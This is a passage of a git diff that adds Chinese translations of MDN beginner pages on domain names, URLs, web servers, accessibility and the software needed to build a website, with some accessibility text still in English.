Admin +Registrant Organization:Mozilla Foundation +Registrant Street: 650 Castro St Ste 300 +Registrant City:Mountain View +Registrant State/Province:CA +Registrant Postal Code:94041 +Registrant Country:US +Registrant Phone:+1.6509030800 +</pre> + +<p>正如你所见,我不能注册<code>mozilla.org</code>,因为Mozilla基金会已经注册它了。</p> + +<p><font face="Open Sans, Arial, sans-serif">另外,如果你想看看我能不能注册</font><code>afunkydomainname.org</code>:</p> + +<pre class="notranslate">$ whois afunkydomainname.org +NOT FOUND +</pre> + +<p>正如你所见,(在本文写作时)这个域名在whois数据库中不存在,所以我们可以要求去注册它。祝你好运吧!</p> + +<h4 id="获得一个域名">获得一个域名</h4> + +<p>过程很简单:</p> + +<ol> + <li>去域名注册商的网站。</li> + <li>通常那些网站上都有突出的"获得域名"宣传,点击它。</li> + <li>按要求仔细填表。一定要<strong>仔细检查</strong>你是否有将你想要的域名拼错。一旦你给错误域名付款了,便为时已晚!</li> + <li>注册商将会在域名正确注册后通知你。数小时之内,所有DNS服务器都会收到你的DNS信息。</li> +</ol> + +<div class="note"> +<p><strong>注意:</strong> 在这个过程中注册商会要求你的真实住址。请保证你正确地填写了,因为在一些国家,如果你没有提供合法的地址,注册商会关闭你的域名。</p> +</div> + +<h4 id="DNS_刷新">DNS 刷新</h4> + +<p>DNS数据库存储在全球每个DNS服务器上,所有这些服务器都源于(refer to)几个被称为“权威名称服务器”或“顶级DNS服务器”。只要您的注册商创建或更新给定域名的任何信息,信息就必须在每个DNS数据库中刷新。 知道给定域名的每个DNS服务器都会存储一段时间的信息,然后再次刷新(DNS服务器再次查询权威服务器)。 因此,知道此域名的DNS服务器需要一些时间才能获取最新信息。</p> + +<div class="note"> +<p><strong>注意 :</strong> 这个时间一般被称为 <strong>传播时间 </strong>。 然而这个术语是不精准的,因为更新本身没有传播 (top → down)。被你电脑(down)查询的 DNS 服务器只在他需要的时候才从权威服务器(top)中获取信息。</p> +</div> + +<h3 id="DNS请求如何工作?">DNS请求如何工作?</h3> + +<p>正如我们所看到的,当你想在浏览器中展示一个网页的时候,输入域名比输入IP简单多了。让我们看一下这个过程:</p> + +<ol> + <li><font face="Open Sans, Arial, sans-serif">在你的浏览器地址栏输入</font><code>mozilla.org</code>。</li> + <li>您的浏览器询问您的计算机是否已经识别此域名所确定的IP地址(使用本地DNS缓存)。 如果是的话,这个域名被转换为IP地址,然后浏览器与网络服务器交换内容。结束。</li> + <li>如果你的电脑不知道 <code>mozilla.org</code> 域名背后的IP, 它会询问一个DNS服务器,这个服务器的工作就是告诉你的电脑已经注册的域名所匹配的IP。</li> + <li>现在电脑知道了要请求的IP地址,你的浏览器能够与网络服务器交换内容。</li> +</ol> + +<p><img alt="Explanation of the steps needed to obtain the result to a DNS request" src="https://mdn.mozillademos.org/files/8961/2014-10-dns-request2.png" style="height: 702px; width: 544px;"></p> + +<h2 id="下一步">下一步</h2> + +<p>好了,我们讲了许多有关的步骤和结构. 接下来.</p> + +<ul> + <li>如果你想亲自实践, 现在最好开始深入设计和探索 <a href="/zh-CN/docs/Learn/Common_questions/Common_web_layouts">对一个网页的剖析</a>.</li> + <li>关于建站需要的花销这类问题的讨论也是有价值的. 请参考 <a href="/zh-CN/docs/Learn/Common_questions/How_much_does_it_cost">建站需要花费多少钱 </a>.</li> + <li>或者在维基百科上阅读更多关于 <a href="http://en.wikipedia.org/wiki/Domain_name">域名</a> .</li> +</ul> diff --git a/files/zh-cn/learn/common_questions/what_is_a_url/index.html b/files/zh-cn/learn/common_questions/what_is_a_url/index.html new file mode 100644 index 0000000000..a2fc792b0a --- /dev/null +++ b/files/zh-cn/learn/common_questions/what_is_a_url/index.html @@ -0,0 +1,148 @@ +--- +title: 什么是URL? +slug: Learn/Common_questions/What_is_a_URL +translation_of: Learn/Common_questions/What_is_a_URL +--- +<div class="summary"> +<p>本文讨论了统一资源定位符(URL),并解释了他们是什么,以及如何被构建的。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>你首先需要知道<a href="/zh-CN/docs/Learn/How_the_Internet_works"> 互联网是如何工作的</a>,<a href="/zh-CN/docs/Learn/Common_questions/What_is_a_web_server">什么是网络服务器</a> 以及 <a href="/zh-CN/docs/Learn/Common_questions/What_are_hyperlinks">网络中超链接的概念</a>。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>你将会学习到 URL是什么,以及它在网络上是如何工作的 。</td> + </tr> + </tbody> +</table> + +<h2 id="概述">概述</h2> + +<p><span class="seoSummary">和 {{Glossary("Hypertext")}} 以及 {{Glossary("HTTP")}} 一样,<strong><dfn>URL </dfn></strong><dfn>是 Web 中的一个核心概念。它是</dfn>{{Glossary("Browser","浏览器")}}<dfn>用来检索 web 上公布的任何资源的机制。</dfn></span></p> + +<p><strong>URL 代表着是统一资源定位符(</strong><em>Uniform Resource Locator</em><strong>)</strong>。URL 无非就是一个给定的独特资源在 Web 上的地址。理论上说,每个有效的 URL 都指向一个唯一的资源。这个资源可以是一个 HTML 页面,一个 CSS 文档,一幅图像,等等。而在实际中,也有一些例外,最常见的情况就是一个 URL 指向了不存在的或是被移动过的资源。由于通过 URL 呈现的资源和 URL 本身由 Web 服务器处理,因此 web 服务器的拥有者需要认真地维护资源以及与它关联的URL。</p> + +<h2 id="自主学习">自主学习</h2> + +<p><em>还没有可用的资料。<a href="/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p> + +<h2 id="深入探索">深入探索</h2> + +<h3 id="基础:剖析URL">基础:剖析URL</h3> + +<p>下面是一些URL的示例:</p> + +<pre class="notranslate">https://developer.mozilla.org +https://developer.mozilla.org/en-US/docs/Learn/ +https://developer.mozilla.org/en-US/search?q=URL</pre> + +<p>您可以将上面的这些网址输进您的浏览器地址栏来告诉浏览器加载相关联的页面(或资源)。</p> + +<p>一个URL由不同的部分组成,其中一些是必须的,而另一些是可选的。让我们以下面这个URL为例看看其中最重要的部分:</p> + +<pre class="notranslate">http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument</pre> + +<dl> + <dt><img alt="Protocol" src="https://mdn.mozillademos.org/files/15766/mdn-url-protocol@x2_update.png" style="height: 70px; width: 440px;"></dt> + <dd><code>http</code> 是协议。它表明了浏览器必须使用何种协议。它通常都是HTTP协议或是HTTP协议的安全版,即HTTPS。Web需要它们二者之一,但浏览器也知道如何处理其他协议,比如<code>mailto:(打开邮件客户端)或者<font face="Open Sans, Arial, sans-serif"> </font></code><code>ftp:(处理文件传输),所以当你看到这些协议时,不必惊讶。</code></dd> + <dt><img alt="Domaine Name" src="https://mdn.mozillademos.org/files/8015/mdn-url-domain@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>www.example.com</code> 是域名。 它表明正在请求哪个Web服务器。或者,可以直接使用{{Glossary("IP address")}}, 但是因为它不太方便,所以它不经常在网络上使用。.</dd> + <dt><img alt="Port" src="https://mdn.mozillademos.org/files/8017/mdn-url-port@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>:80</code> 是端口。 它表示用于访问Web服务器上的资源的技术“门”。如果Web服务器使用HTTP协议的标准端口(HTTP为80,HTTPS为443)来授予其资源的访问权限,则通常会被忽略。否则是强制性的。</dd> + <dt><img alt="Path to the file" src="https://mdn.mozillademos.org/files/8019/mdn-url-path@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>/path/to/myfile.html</code> 是网络服务器上资源的路径。在Web的早期阶段,像这样的路径表示Web服务器上的物理文件位置。如今,它主要是由没有任何物理现实的Web服务器处理的抽象。</dd> + <dt><img alt="Parameters" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>?key1=value1&key2=value2</code> 是提供给网络服务器的额外参数。 这些参数是用 <code>& </code>符号分隔的键/值对列表。在返回资源之前,Web服务器可以使用这些参数来执行额外的操作。每个Web服务器都有自己关于参数的规则,唯一可靠的方式来知道特定Web服务器是否处理参数是通过询问Web服务器所有者。</dd> + <dt><img alt="Anchor" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>#SomewhereInTheDocument</code> 是资源本身的另一部分的锚点. 锚点表示资源中的一种“书签”,给浏览器显示位于该“加书签”位置的内容的方向。例如,在HTML文档上,浏览器将滚动到定义锚点的位置;在视频或音频文档上,浏览器将尝试转到锚代表的时间。值得注意的是,#后面的部分(也称为片段标识符)从来没有发送到请求的服务器。</dd> +</dl> + +<p>{{Note('这里是关于URLs的 <a href="http://en.wikipedia.org/wiki/Uniform_Resource_Locator">一些额外的部分和一些额外的规则</a> , 但它们对于普通用户或Web开发者不是非常重要。 你不必担心这个,要构筑和使用完全实用的URLs不必了解这些。')}}</p> + +<p>你可能想到一个URL类似普通信件的地址:协议代表你要使用的邮政服务,域名是城市或者城镇,端口则像邮政编码;路径代表着你的信件所有递送的大楼;参数则提供额外的信息,如大楼所在单元;最后,锚点表示信件的收件人。</p> + +<h3 id="如何使用URL">如何使用URL</h3> + +<p>可以直接在浏览器的地址栏里输入任何URL,来获得后台的资源。但是这仅仅是冰山一角。</p> + +<p> {{Glossary("HTML")}} 语言 — <a href="/en-US/docs/Learn/HTML/HTML_tags">后续会再来讨论</a> — 对URLs有大量的使用:</p> + +<ul> + <li>为在其他文档中新建链接,用 {{HTMLElement("a")}} ;</li> + <li>为将文档与它的相关资源关联,用各种标签如 {{HTMLElement("link")}} 或 {{HTMLElement("script")}} ;</li> + <li>为显示多媒体如图片 (用 {{HTMLElement("img")}} ), 视频 (用 {{HTMLElement("video")}} ), 声音和音乐 (用 {{HTMLElement("audio")}} ), 等等;</li> + <li>为显示其他HTML文档,用 {{HTMLElement("iframe")}} .</li> +</ul> + +<p>其他大量使用URLs的技术如 {{Glossary("CSS")}} 或 {{Glossary("JavaScript")}}, 这些才是Web的中心。</p> + +<h3 id="绝对URL和相对URL">绝对URL和相对URL</h3> + +<p>我们上面看到的是一个绝对的URL,但也有一个叫做相对URL的东西。我们来看看这个区别意味着什么呢?</p> + +<p>URL的必需部分在很大程度上取决于使用URL的上下文。在浏览器的地址栏中,网址没有任何上下文,因此您必须提供一个完整的(或绝对的)URL,就像我们上面看到的一样。您不需要包括协议(浏览器默认使用HTTP)或端口(仅当目标Web服务器使用某些异常端口时才需要),但URL的所有其他部分都是必需的。</p> + +<p>当文档中使用URL时,例如HTML页面中的内容有所不同。因为浏览器已经有文档自己的URL,它可以使用这些信息来填写该文档中可用的任何URL的缺失部分。我们可以通过仅查看URL的路径部分来区分绝对URL和相对URL。<strong>如果URL的路径部分以“/”字符开头,则浏览器将从服务器的顶部根目录获取该资源,而不引用当前文档给出的上下文</strong>。</p> + +<p>我们来看一些例子来使这个更清楚。</p> + +<h4 id="绝对URL示例">绝对URL示例</h4> + +<dl> + <dt>完整网址(与之前使用的网址相同)</dt> + <dd> + <pre class="notranslate">https://developer.mozilla.org/en-US/docs/Learn</pre> + </dd> + <dt>隐去协议</dt> + <dd> + <pre class="notranslate">//developer.mozilla.org/en-US/docs/Learn</pre> + + <p>在这种情况下,浏览器将使用与用于加载该URL的文档相同的协议来调用该URL。</p> + </dd> + <dt>隐去域名</dt> + <dd> + <pre class="notranslate">/en-US/docs/Learn</pre> + + <p>这是HTML文档中绝对URL最常见的用例。浏览器将使用与用于加载托管该URL的文档相同的协议和相同的域名。<strong>注意</strong>:不可能省略该域名而不省略协议。</p> + </dd> +</dl> + +<h4 id="相对URL示例">相对URL示例</h4> + +<p>为了更好地了解以下示例,我们假设从位于以下URL的文档中调用URL: <code>https://developer.mozilla.org/en-US/docs/Learn</code></p> + +<dl> + <dt>子资源</dt> + <dd> + <pre class="notranslate">Skills/Infrastructure/Understanding_URLs +</pre> + 因为该URL不以/开头,浏览器将尝试在包含当前资源的子目录中查找文档。所以在这个例子中,我们真的想要达到这个URL<code>https://developer.mozilla.org/en-US/docs/Learn/Skills/Infrastructure/Understanding_URLs</code></dd> + <dt>回到目录树中</dt> + <dd> + <pre class="notranslate">../CSS/display</pre> + + <p>在这种情况下,我们使用从UNIX文件系统世界继承的../写入约定来告诉我们要从一个目录上升的浏览器。在这里,我们要达到以下URL:https://developer.mozilla.org/en-US/docs/Learn/../CSS/display,可以将其简化为:https://developer.mozilla.org/en-US/docs/CSS/display</p> + </dd> +</dl> + +<h3 id="语义_URLs">语义 URLs</h3> + +<p>尽管URL具有非常的技术性,但URL表示一个可读性的网站入口点。它们可以被记住,并且任何人都可以将它们输入浏览器的地址栏。人是Web的核心,因此建立所谓的 <em><a href="http://en.wikipedia.org/wiki/Semantic_URL">semantic URLs</a> </em>被认为是最佳实践。语义URL使用具有固有含义的单词,任何人都可以理解,无论他们的技术水平如何。</p> + +<p>语言语义当然与电脑无关。您可能经常看到看起来像随机字符混搭的网址。但创建人类可读的URL有很多优点:</p> + +<ul> + <li>操作它们更容易</li> + <li>它根据用户在哪里,他们在做什么,他们正在阅读或在网络上进行互动来澄清用户的情况。</li> + <li>一些搜索引擎可以使用这些语义来改进相关页面的分类。</li> +</ul> + +<h2 id="下一步">下一步</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/Common_questions/What_is_a_domain_name">理解域名</a></li> +</ul> diff --git a/files/zh-cn/learn/common_questions/what_is_a_web_server/index.html b/files/zh-cn/learn/common_questions/what_is_a_web_server/index.html new file mode 100644 index 0000000000..406b8e88be --- /dev/null +++ b/files/zh-cn/learn/common_questions/what_is_a_web_server/index.html @@ -0,0 +1,116 @@ +--- +title: 什么是网络服务器? +slug: Learn/Common_questions/What_is_a_web_server +translation_of: Learn/Common_questions/What_is_a_web_server +--- +<div class="summary"> +<p>在这篇文章中我们会重温什么是网络服务器,它们如何工作,以及为什么它们很重要。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>您应该已经知道 <a href="/en-US/docs/learn/How_the_Internet_works">互联网是怎么工作的</a>,并且<a href="/zh-CN/docs/learn/常见问题/网页,网站,网页服务器和搜索引擎的区别是什么?">了解网页,网站,网络服务器和搜索引擎的区别是什么</a></td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解网络服务器,明白它大概的工作原理</td> + </tr> + </tbody> +</table> + +<h2 id="概述">概述</h2> + +<p>“网络服务器(Web server)”可以代指硬件或软件,或者是它们协同工作的整体。</p> + +<ol> + <li>硬件部分,一个网络服务器是一台存储了网络服务软件以及网站的组成文件(比如,HTML文档、图片、CSS样式表和JavaScript文件)的计算机。它接入到互联网并且支持与其他连接到互联网的设备进行物理数据的交互。</li> + <li>软件部分,网络服务器包括控制网络用户如何访问托管文件的几个部分,至少他要是一台HTTP服务器。一台HTTP服务器是一种能够理解URL(网络地址)和HTTP(浏览器用来查看网页的协议)的软件。通过服务器上存储的网站的域名(比如mozilla.org)可以访问这个服务器,并且他还可以将他的内容分发给最终用户的设备。</li> +</ol> + +<p>基本上,当浏览器需要一个托管在网络服务器上的文件的时候,浏览器通过HTTP请求这个文件。当这个请求到达正确的网络服务器(硬件)时,HTTP服务器(软件)收到这个请求,找到这个被请求的文档(如果这个文档不存在,那么将返回一个404响应), 并把这个文档通过HTTP发送给浏览器。</p> + +<p><img alt="Basic representation of a client/server connection through HTTP" src="https://mdn.mozillademos.org/files/8659/web-server.svg" style="height: 200px; width: 600px;"></p> + +<p>要发布一个网站,你需要一个静态或动态的服务器。</p> + +<p>静态网络服务器(<strong>static web server</strong>),或者堆栈,由一个计算机(硬件)和一个 HTTP 服务器(软件)组成。我们称它为 “静态” 是因为这个服务器把它托管文件的 “保持原样” 地传送到你的浏览器。</p> + +<p>动态网络服务器(<strong>dynamic web server</strong>)<strong> </strong>由一个静态的网络服务器加上额外的软件组成,最普遍的是一个应用服务器 [<em>application server</em>] 和一个数据库 [<em>database</em>]。我们称它为 “动态” 是因为这个应用服务器会在通过 HTTP 服务器把托管文件传送到你的浏览器之前会对这些托管文件进行更新。</p> + +<p>举个例子,要生成你在浏览器中看到的最终网页,应用服务器或许会用一个数据库中的内容填充一个 HTML 模板。网站像 MDN 或者维基百科 [Wikipedia] 有成千上万的网页,但是它们不是真正的 HTML 文档,它们只是少数的 HTML 模板以及一个巨大的数据库。这样的设置让它更快更简单地维护以及分发内容。</p> + +<h2 id="自主学习">自主学习</h2> + +<p><em>还没有可用的资料。请考虑为此投稿 [<a href="https://developer.mozilla.org/en-US/docs/MDN/Getting_started">Please, consider contributing</a>]。</em></p> + +<h2 id="深入探索">深入探索</h2> + +<p>要取得一个网页,如同我们已经说过的那样,你的浏览器会发送一个请求到网络服务器,继而这个网络服务器会在它自己的存储空间中搜索所请求的文件。当找到这文件时,这个服务器会读取它,按需处理它,并且把它传送回浏览器。让我们更仔细地观察这些步骤。</p> + +<h3 id="托管文件">托管文件</h3> + +<p>一个网络服务器首先需要存储这个网站的文件,也就是说所有的 HTML 文档和它们的相关资源 (related assets),包括图片,CSS 样式表,JavaScript 文件,字形 (fonts) 以及影像。</p> + +<p>严格来说,你可以在你自己的计算机上托管所有的这些文件,但是在一个专用的网络服务器上存储它们会方便得多,因为它</p> + +<ul> + <li>会一直启动和运行</li> + <li>会一直与互联网连接</li> + <li>会一直拥有一样的 IP 地址(不是所有的 {{Glossary("ISP", "ISPs")}} 都会为家庭线提供一个固定的 IP 地址)</li> + <li>由一个第三方提供者维护</li> +</ul> + +<p>因为所有的这些原因,寻找一个优秀的托管提供者是建立你的网站的一个重要部分。比较不同公司提供的服务并选择一个适合你的需求和预算的服务(服务的价格从免费到每月上万美金不等)。你可以在这篇文章 (<a href="https://developer.mozilla.org/en-US/Learn/How_much_does_it_cost#Hosting">article</a>)中找到更多的细节。</p> + +<p>一旦你设置好一个网络托管解决方案,你只需要去上传你的文件到你的网络服务器 [<a href="/en-US/docs/Learn/Upload_files_to_a_web_server">upload your files to your web server</a>]。</p> + +<h3 id="通过HTTP交流">通过HTTP交流</h3> + +<p>第二点,一个网络服务器提供了 {{Glossary("HTTP")}}(超文本传输协议)支持。正如它的名字暗示,HTTP 明确提出了如何在两台计算机间传输超文本(比如说链接的网络文档 (linked web documents))。</p> + +<p>一个<em>协议(</em>{{Glossary("Protocol")}}<em>)</em>是一套为了在两台计算机间交流而制定的规则。 HTTP 是一个文本化的 (textual),无状态的 (stateless)协议。</p> + +<dl> + <dt>文本化</dt> + <dd>所有的命令都是纯文本的 (plain-text) 和人类可读的 (human-readable)。</dd> + <dt>无状态</dt> + <dd>无论是服务器还是客户都不会记住之前的交流。举个例子,仅依靠 HTTP,一个服务器不能记住你输入的密码或者你正处于业务中的哪一步。你需要一个应用服务器来进行这样的工作。(我们会在日后的文章中涵盖这类的技术。)</dd> +</dl> + +<p>HTTP 为客户和服务器间的如何沟通提供清晰的规则。我们会在日后的一篇<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP">技术文章 </a>中覆盖 HTTP 本身。就目前而言,只需要知道这几点:</p> + +<ul> + <li>只有<em>用户</em>可以制定 HTTP 请求,然后只会发送到<em>服务器</em>。服务器只能响应客户端的HTTP请求。</li> + <li>当通过 HTTP 请求一个文件时,客户必须提供这个文件的{{Glossary("URL")}}。</li> + <li>网络服务器<em>必须应答</em>每一个 HTTP 请求,至少也要回复一个错误信息。</li> +</ul> + +<p><a href="https://developer.mozilla.org/en-US/404"><img alt="The MDN 404 page as an example of such error page" src="https://mdn.mozillademos.org/files/8661/mdn-404.jpg" style="float: right; height: 300px; width: 300px;"></a>在一个网络服务器上,HTTP服务器负责处理和应答传入的请求。</p> + +<ol> + <li>当收到一个请求时, HTTP 服务器首先要检查所请求的 URL 是否与一个存在的文件相匹配。</li> + <li>如果是,网络服务器会传送文件内容回到浏览器。如果不是,一个应用服务器会建立必要的文件。</li> + <li>如果两种处理都不可能,网络服务器会返回一个错误信息到浏览器,最常见的是 “404 未找到” ["404 Not Found"]。(这错误太常见以至于很多网页设计者花费许多时间去设计 404 错误页面 [<a href="http://www.404notfound.fr/" rel="external">404 error pages</a>]。)</li> +</ol> + +<h3 id="静态和动态内容">静态和动态内容</h3> + +<p>粗略地说,一个服务器可以提供静态或者动态的内容。“静态” 意味着 “保持原样地提供”。静态的网站是最容易建立的,所以我们建议你制作一个静态的网站作为你的第一个网站。</p> + +<p>“动态” 意味着服务器会处理内容甚至实时地从一个数据库中产生它。这个解决方案提供了更多的灵活性,但是技术堆栈变得更难去处理,让建立网站更惊人地复杂。</p> + +<p>以你正在阅读的页面为例子。在正在托管它的网络服务器里,有一个应用服务器会从数据库提取文章内容,安排它的布局,把它放置在一些 HTML 模板中,然后为你传输结果。在这里,这个应用服务器叫做 <a href="/en-US/docs/MDN/Kuma">Kuma</a> 并且是由 <a href="https://www.python.org/">Python</a> (使用 <a href="https://www.djangoproject.com/">Django</a> 构架) 构建的。Mozilla 团队为了 MDN 的特殊要求开发 Kuma,但是这里有很多相似的建立在很多其他技术之上的应用。</p> + +<p>这里有太多的应用服务器,所以提供一个具体的服务器是挺难的。有些应用服务器迎合具体的网站类别,像是博客,百科或者电子商店;其他的应用服务器,叫做 {{Glossary("CMS", "CMSs")}}(内容管理系统 [content management systems]),则更加通用。如果你正在开发一个动态网站,请花一些时间去选择适合你需求的工具。除非你想要学习一些网络服务器编程 [web server programming](而这本身就是一个令人兴奋的领域!),否则你不需要去创建你自己的应用服务器。这只是在重新创造轮子({{Interwiki("wikipedia", "reinventing the wheel")}})。</p> + +<h2 id="下一步">下一步</h2> + +<p>现在您已熟悉了网络服务器,您可以</p> + +<ul> + <li>钻研在网络上做某些事情要花费多少 [<a href="/en-US/docs/Learn/How_much_does_it_cost">how much it costs to do something on the web</a>]</li> + <li>学习关于创建一个网页所需要的各种软件 [<a href="/en-US/docs/Learn/What_software_do_I_need">various software you need to create a website</a>]</li> + <li>移步到某些实用的东西,像是如何上传文件到一个网页服务器 [<a href="/en-US/docs/Learn/Upload_files_to_a_web_server">how to upload files on a web server</a>]。</li> +</ul> diff --git a/files/zh-cn/learn/common_questions/what_is_accessibility/index.html b/files/zh-cn/learn/common_questions/what_is_accessibility/index.html new file mode 100644 index 0000000000..92c0f6f0e5 --- /dev/null +++ b/files/zh-cn/learn/common_questions/what_is_accessibility/index.html @@ -0,0 +1,90 @@ +--- +title: 何为可访问性? +slug: Learn/Common_questions/What_is_accessibility +translation_of: Learn/Common_questions/What_is_accessibility +--- +<div class="summary"> +<p>本文介绍了Web可访问性背后的一些基本概念。</p> +</div> + +<table class="learn-box nostripe standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>无</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习可访问性,了解其重要性</td> + </tr> + </tbody> +</table> + +<h2 id="概述">概述</h2> + +<p>由于身体或技术上的限制,你的访客也许无法以像你期望的方式体验网站。本文中,我们给出了可访问性的一般原则,并解释了其中的一些规则。</p> + +<h2 id="自主学习">自主学习</h2> + +<p><em>还没有可用的资料。 <a href="/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p> + +<h2 id="深入探索">深入探索</h2> + +<h3 id="可访问性_一般原则">可访问性: 一般原则</h3> + +<p>We might associate accessibility at first with negative limitations. This building has to be accessible, so it must follow these regulations for door width and toilet size and elevator placement.</p> + +<p>That's a narrow way to think of accessibility. Think of it as a wonderful way to empower people and serve more customers. What can the people in Brazil do with your English website? Can the people with smartphones browse a heavy, cluttered website designed for a large desktop monitor and unlimited bandwidth? They'll go somewhere else. In general, <em>we must think about our product from the viewpoints of all our target customers, and adapt accordingly. </em>Hence accessibility.</p> + +<h3 id="Web可访问性">Web可访问性</h3> + +<p>In the specific context of the web, accessibility means that anyone can benefit from your content, regardless of disability, location, technical limitations, or other circumstances.</p> + +<p>Let's consider video:</p> + +<dl> + <dt>听力障碍</dt> + <dd>How does a hearing-impaired person benefit from a video? You have to provide subtitles —or even better, a full text transcript.</dd> + <dd>Also, make sure people can adjust the volume to accommodate their unique needs.</dd> + <dt>视觉障碍</dt> + <dd>Again, provide a text transcript that a user can consult without needing to play the video, and an audio-description (an off-screen voice that describes what is happening in the video).</dd> + <dt>暂停功能</dt> + <dd>Users may have trouble understanding someone in a video. Let them pause the video to read the subtitles or process the information.</dd> + <dt>键盘功能</dt> + <dd>Let the user tab into/out of a video, play it, and pause it without being trapped in it.</dd> +</dl> + +<h4 id="Web可访问性基础">Web可访问性基础</h4> + +<p>A few necessities for basic Web accessibility include:</p> + +<ul> + <li>Whenever your site needs an image to convey meaning, include text as an alternative for visually-challenged users or those with slow connections.</li> + <li>Make sure all users can operate graphical interfaces (like unfolding menus) solely with a keyboard (e.g., with Tab and the Return key).</li> + <li>Provide an attribute explicitly specifying your content's language, so that screen readers read your text properly.</li> + <li>Make sure that a user can navigate to all widgets on a page solely with the keyboard, without getting trapped. (At least let them Tab in and out.)</li> +</ul> + +<p>而这只是个开始。</p> + +<h3 id="可访问性的拥护者">可访问性的拥护者</h3> + +<p>Since 1999, the {{Glossary("W3C")}} has operated a working group called the {{Glossary("WAI","Web Accessibility Initiative")}} (WAI) promoting accessibility through guidelines, support material, and international resources.</p> + +<h2 id="更多细节">更多细节</h2> + +<p>请参阅</p> + +<ul> + <li>关于可访问性的 <a href="https://en.wikipedia.org/wiki/Accessibility">维基百科文章</a></li> + <li><a href="http://www.w3.org/WAI/">WAI (W3C's Web Accessibility Initiative)</a></li> +</ul> + +<h2 id="下一步">下一步</h2> + +<p>Accessibility can impact both a website's design and technical structure.</p> + +<ul> + <li>From a design point of view, we suggest learning about <a href="/en-US/docs/Learn/Design_for_all_types_of_users_101">designing for all types of users</a>.</li> + <li>If the technical side interests you more, you could learn how to <a href="/en-US/docs/Learn/Using_images">embed images in webpages</a>.</li> +</ul> diff --git a/files/zh-cn/learn/common_questions/what_software_do_i_need/index.html b/files/zh-cn/learn/common_questions/what_software_do_i_need/index.html new file mode 100644 index 0000000000..0759eb0381 --- /dev/null +++ b/files/zh-cn/learn/common_questions/what_software_do_i_need/index.html @@ -0,0 +1,140 @@ +--- +title: 我需要什么软件来构建一个网站 +slug: Learn/Common_questions/What_software_do_I_need +translation_of: Learn/Common_questions/What_software_do_I_need +--- +<div class="summary"> +<p>在这篇文章我们会展示当你编辑,上传或者浏览一个网站时所需要的软件成分。</p> +</div> + +<table class="learn-box nostripe standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>你应当已经知道 网页,网站,网络服务器,以及搜索引擎间的区别 [<a href="/en-US/docs/Learn/page_vs_site_vs_server_vs_search_engine">the difference between webpages, websites, web servers, and search engines</a>]。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习当你想要编辑,上传,或者浏览一个网站时所需要的软件成分。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>你可以免费下载大部分网络开发所需要的程序。我们会在此文章中提供一些链接。你会需要工具去 1) 创建和编辑网页,2) 上传文件到你的网络服务器,和 3) 浏览你的网站。</p> + +<p>几乎所有的操作系统内置了一个文本编辑器和网站阅读器(被称作 浏览器)。所以通常你只需要获得用来传输文件到你的网络服务器的软件。</p> + +<h2 id="自主学习">自主学习</h2> + +<p><em>现在还没有自主学习活动。请考虑投稿 [<a href="/en-US/docs/MDN/Getting_started">Please, consider contributing</a>]。</em></p> + +<h2 id="深度探索">深度探索</h2> + +<h3 id="创建和编辑网页">创建和编辑网页</h3> + +<p>要创建和编辑一个网站,你需要一个文本编辑器。文本编辑器创建并修改无格式的文本文件。(其他格式,像是 <strong>{{Glossary("RTF")}}</strong>,允许你去添加格式,像是加粗或者下划线。这些格式并不适用于编写网页。)你应当明智地选择一个文本编辑器,因为当你建立网站时,你会广泛地使用到它。</p> + +<p>所有的桌面操作系统内置了一个基本的文本编辑器。这些编辑器是很直白的,但是缺乏了网页编码所需的特殊功能。如果你想要一些更花俏的东西,这里有很多可用的第三方工具。第三方编辑器通常包含了额外的功能,包括句法填色 [syntax coloring],自动填充 [auto-completion],可折叠区间 [collapsible sections],以及代码搜索 [code search]。这里有一个短的编辑器列表:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">操作系统</th> + <th scope="col">内置编辑器</th> + <th scope="col">第三方编辑器</th> + </tr> + </thead> + <tbody> + <tr> + <td>Windows</td> + <td><a href="http://en.wikipedia.org/wiki/Notepad_%28software%29" rel="external">Notepad</a></td> + <td> + <p><a href="http://notepad-plus-plus.org/">Notepad++</a></p> + + <p><a href="https://www.visualstudio.com/">Visual Studio Code</a></p> + + <p><a href="https://www.jetbrains.com/webstorm/">Web Storm</a></p> + </td> + </tr> + <tr> + <td>Mac OS</td> + <td><a href="http://en.wikipedia.org/wiki/TextEdit" rel="external">TextEdit</a></td> + <td><a href="http://www.barebones.com/products/textwrangler/">TextWrangle</a></td> + </tr> + <tr> + <td>Linux</td> + <td><a href="http://en.wikipedia.org/wiki/Vi" rel="external">Vi</a> (All UNIX)<br> + <a href="http://en.wikipedia.org/wiki/Gedit" rel="external">GEdit</a> (Gnome)<br> + <a href="http://en.wikipedia.org/wiki/Kate_%28text_editor%29" rel="external">Kate</a> (KDE)<br> + <a href="http://en.wikipedia.org/wiki/Kate_(text_editor)" rel="external">LeafPad</a> (Xfce)</td> + <td><a href="http://www.gnu.org/software/emacs/">Emacs</a><br> + <a href="http://www.vim.org/" rel="external">Vim</a></td> + </tr> + </tbody> +</table> + +<p>这里是一个高级文本编辑器的截图:</p> + +<p><img alt="Screenshot of Notepad++." src="https://mdn.mozillademos.org/files/8221/NotepadPlusPlus.png" style="height: 311px; width: 450px;"></p> + +<h3 id="上传文件到网络">上传文件到网络</h3> + +<p>当你的网站已经为公众浏览做好准备,你会需要上传你的网页到你的网络服务器。你可以从不同的供应者(查看 在网络上做某些东西要花费多少 [<a class="new" 